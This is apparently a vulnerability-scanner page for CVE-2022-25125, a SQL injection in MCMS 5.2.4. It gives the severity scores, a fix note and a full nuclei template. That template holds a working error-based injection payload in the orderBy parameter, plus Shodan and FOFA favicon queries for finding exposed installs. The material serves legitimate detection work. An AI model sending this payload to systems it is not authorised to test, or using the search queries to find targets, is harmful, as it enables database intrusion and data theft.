MCMS 5.2.4 - SQL Injection

criticalseverity

9.8CVSS score

7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

MCMS 5.2.4 contains a SQL injection vulnerability via search.do in the file /mdiy/dict/listExcludeApp. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in MCMS 5.2.4.

How to confirm it

Send: GET {{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25" AND contains in header "application/json"

Run it with nuclei: nuclei -id CVE-2022-25125 -u <target>

The full check

id: CVE-2022-25125

info:
  name: MCMS 5.2.4 - SQL Injection
  author: Co5mos
  severity: critical
  description: |
    MCMS 5.2.4 contains a SQL injection vulnerability via search.do in the file /mdiy/dict/listExcludeApp. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in MCMS 5.2.4.
  reference:
    - https://github.com/ming-soft/MCMS/issues/90
    - https://gitee.com/mingSoft/MCMS/issues/I4TGYI
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25125
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25125
    cwe-id: CWE-89
    epss-score: 0.06981
    epss-percentile: 0.94193
    cpe: cpe:2.3:a:mingsoft:mcms:5.2.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mingsoft
    product: mcms
    shodan-query:
      - http.favicon.hash:1464851260
      - http.favicon.hash:"1464851260"
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2022,sqli,mcms,mingsoft,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25"

      - type: word
        part: header
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from